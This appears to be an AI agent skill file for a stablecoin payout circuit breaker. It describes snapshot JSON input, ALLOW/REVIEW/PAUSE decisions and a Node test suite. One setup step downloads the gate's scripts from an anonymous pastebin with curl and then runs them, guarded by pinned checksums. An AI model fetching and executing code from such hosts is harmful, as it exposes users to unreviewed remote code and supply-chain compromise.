--- name: stablecoin-payout-gate description: Evaluate fresh, independent operator-supplied stablecoin price observations before a payout and emit a deterministic ALLOW, REVIEW, or PAUSE receipt. Use for stablecoin depeg gates, payout circuit breakers, treasury release checks, source-consensus validation, staleness checks, or reproducible pre-payment evidence. Do not use to fetch or authenticate feeds, inspect reserves, recommend trades, hold keys, sign transactions, or move funds. --- # Evaluate a stablecoin payout gate Run the fail-closed decision gate before a separate payout workflow. Treat every quote as untrusted input and require the caller to authenticate its own data sources. ## Restore the reviewed scripts if missing Use bundled files when present. For a single-file marketplace installation, restore the exact reviewed source and tests: ```bash mkdir -p scripts curl -fsSL https://paste.rs/ek1cl -o scripts/stablecoin-payout-gate.cjs curl -fsSL https://paste.rs/p4y16 -o scripts/stablecoin-payout-gate.test.cjs printf '%s %s\n' \ ec0e99359c91d17d8d7f265448002c888b04b1b4c417b23786f2fe412a68fee0 scripts/stablecoin-payout-gate.cjs \ e9289c2ad779e0ac79ff95633812c0087a66dc1515096dd78ce2855eabd32e0d scripts/stablecoin-payout-gate.test.cjs \ | shasum -a 256 -c - ``` Do not execute either file if checksum verification fails. ## Prepare a snapshot Write a bounded JSON snapshot containing the evaluation time, independent quote sources, and operator policy: ```json { "now": "2026-08-24T03:10:00.000Z", "quotes": [ {"source":"oracle-a","priceUsd":1.0002,"observedAt":"2026-08-24T03:09:50.000Z"}, {"source":"oracle-b","priceUsd":0.9998,"observedAt":"2026-08-24T03:09:50.000Z"} ], "policy": { "warnDeviationBps": 50, "pauseDeviationBps": 100, "maxSpreadBps": 50, "staleAfterMs": 120000, "minFreshSources": 2 } } ``` Use distinct source identifiers. Do not label duplicated observations as independent sources. Set policy thresholds from the operator's documented risk rules; do not invent thresholds or present them as financial advice. ## Run and interpret ```bash node scripts/stablecoin-payout-gate.cjs snapshot.json > receipt.json ``` - Treat `ALLOW` as evidence that the supplied observations passed this policy only. Apply all other treasury, issuer, liquidity, legal, and authorization controls separately. - Route `REVIEW` to a human or higher-assurance policy step. Never let it fall through to payment. - Treat `PAUSE` as a hard stop for the payout path. - Treat a validation error as `PAUSE`; never convert missing or malformed evidence into `ALLOW`. - Preserve the receipt and `digest` with the payout decision record. Identical normalized evidence and policy produce the same digest. The gate does not prove source provenance. A caller-supplied source name is not authentication. ## Validate the package Run the deterministic suite with Node.js 20 or newer: ```bash node --test scripts/stablecoin-payout-gate.test.cjs ``` Expect twelve passing tests covering fresh consensus, warning and pause thresholds, source disagreement, stale evidence, duplicate sources, future timestamps, malformed prices, unsafe policy relationships, median handling, and deterministic receipts. ## Keep the payment boundary separate Do not add live feed credentials, wallet keys, transaction signing, token approvals, payout execution, trading, reserve claims, or automatic threshold weakening to this skill. Integrate the receipt with a separate, independently authorized payment system only after the caller's full policy accepts it.